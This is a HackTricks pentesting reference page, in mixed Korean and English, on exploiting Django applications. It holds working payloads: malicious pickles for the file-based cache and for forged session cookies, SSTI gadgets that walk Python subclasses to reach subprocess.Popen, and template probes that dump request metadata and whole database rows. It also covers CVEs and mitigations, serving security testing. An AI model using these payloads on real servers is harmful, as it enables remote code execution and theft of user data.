Django
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cache Manipulation to RCE
Django의 기본 캐시 저장 방식은 Python pickles이며, untrusted input is unpickled 경우 RCE로 이어질 수 있습니다. 공격자가 캐시에 쓰기 권한을 얻을 수 있다면, 이 취약점을 기반 서버에서의 RCE로 악용할 수 있습니다.
Django 캐시는 다음 네 곳 중 하나에 저장됩니다: Redis, memory, files, 또는 database에 저장됩니다. Redis 서버나 database에 저장된 캐시가 가장 유력한 공격 벡터(Redis injection and SQL injection)이지만, 공격자는 파일 기반 캐시를 이용해 임의의 쓰기를 RCE로 전환할 수도 있습니다. 메인테이너들은 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름, Redis 서버 세부 사항은 구현에 따라 달라진다는 점에 유의하세요.
On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is 튜링 완전. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.
탐지
Template()/Engine.from_string()/render_to_string()같은 동적 호출에서 어떤 검증되지 않은 요청 데이터가 포함되는지 확인하세요.- 시간 기반 또는 산술 페이로드를 전송해보세요:
{{7*7}}
렌더된 출력에 49가 포함되어 있으면 입력이 템플릿 엔진에 의해 컴파일된 것입니다.
3. DTL은 Jinja2가 아닙니다: 산술/루프 페이로드는 평가가 수행되었음을 증명하면서도 종종 TemplateSyntaxError/500을 유발합니다. ${{<%[%'"}}% 같은 polyglots는 크래시 또는 렌더 확인용 프로브로 좋습니다.
Context exfiltration when RCE is blocked
Even if object-walking to subprocess.Popen fails, DTL still exposes in-scope objects:
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
QuerySet.values()는 행을 딕셔너리로 강제 변환하여 __str__를 우회하고 queryset이 반환하는 모든 필드를 노출시킨다. 이는 직접적인 Python 실행이 필터링될 때에도 동작한다.
Automation pattern: authenticate, grab the CSRF token, 임의의 영구 필드(예: username/profile bio)에 marker-prefixed payload를 저장한 뒤, 이를 렌더하는 뷰를 요청한다 (AJAX endpoints like /likes/<id>가 흔하다). 안정적인 속성(예: title="...")을 파싱해 렌더된 결과를 복구하고 payloads를 순회한다.
Primitive to RCE
Django는 __import__에 대한 직접 접근을 차단하지만, Python 객체 그래프에는 접근할 수 있다:
{{''.__class__.mro()[1].__subclasses__()}}
subprocess.Popen의 인덱스(≈400–500, Python 빌드에 따라 다름)를 찾아 임의의 명령을 실행:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
A safer universal gadget is to iterate until cls.__name__ == 'Popen'.
The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.
또한 참고: ReportLab/xhtml2pdf PDF export RCE
Django 기반 애플리케이션은 일반적으로 xhtml2pdf/ReportLab를 통합해 뷰를 PDF로 내보냅니다. 사용자 제어 HTML이 PDF 생성으로 흘러들어갈 경우, rl_safe_eval은 삼중 괄호 [[[ ... ]]] 안의 표현식을 평가하여 코드 실행을 유발할 수 있습니다 (CVE-2023-33733). 상세 내용, 페이로드, 완화책:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
Pickle 기반 세션 쿠키 RCE
설정 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'이 활성화되어 있거나(또는 pickle을 역직렬화하는 커스텀 serializer가 사용되는 경우), Django는 세션 쿠키를 decrypts and unpickles한 다음 view 코드를 호출하기 전에 처리합니다. 따라서 유효한 signing key(기본적으로 프로젝트의 SECRET_KEY)를 보유하고 있으면 즉시 원격 코드 실행이 가능합니다.
Exploit Requirements
- 서버가
PickleSerializer를 사용합니다. - 공격자가
settings.SECRET_KEY을 알고 있거나 추측할 수 있습니다 (leaks via GitHub,.env, error pages, etc.).
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
결과로 생성된 쿠키를 전송하면 페이로드가 WSGI 워커의 권한으로 실행됩니다.
완화 조치: 기본 JSONSerializer를 유지하고, SECRET_KEY를 주기적으로 교체하며, SESSION_COOKIE_HTTPONLY를 설정하세요.
최근(2023-2025) 펜테스터가 확인해야 할 영향력 큰 Django CVE
- CVE-2025-48432 – Log Injection via unescaped
request.path(fixed June 4 2025). 공격자가 개행(newline)/ANSI 코드를 로그 파일에 주입해 하위 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()onJSONField(CVSS 9.8). JSON 키를 조작해 인용부호를 탈출시키고 임의의 SQL을 실행할 수 있습니다. Fixed in 4.2.15 / 5.0.8.
항상 X-Frame-Options 오류 페이지나 /static/admin/css/base.css 해시로 정확한 프레임워크 버전을 지문(fingerprint)으로 식별하고, 해당되는 경우 위 항목들을 테스트하세요.
참고자료
- Django security release – “Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432” – 2025년 6월 4일.
- OP-Innovate: “Django releases security updates to address SQL injection flaw CVE-2024-42005” – 2024년 8월 11일.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
- Django docs – QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


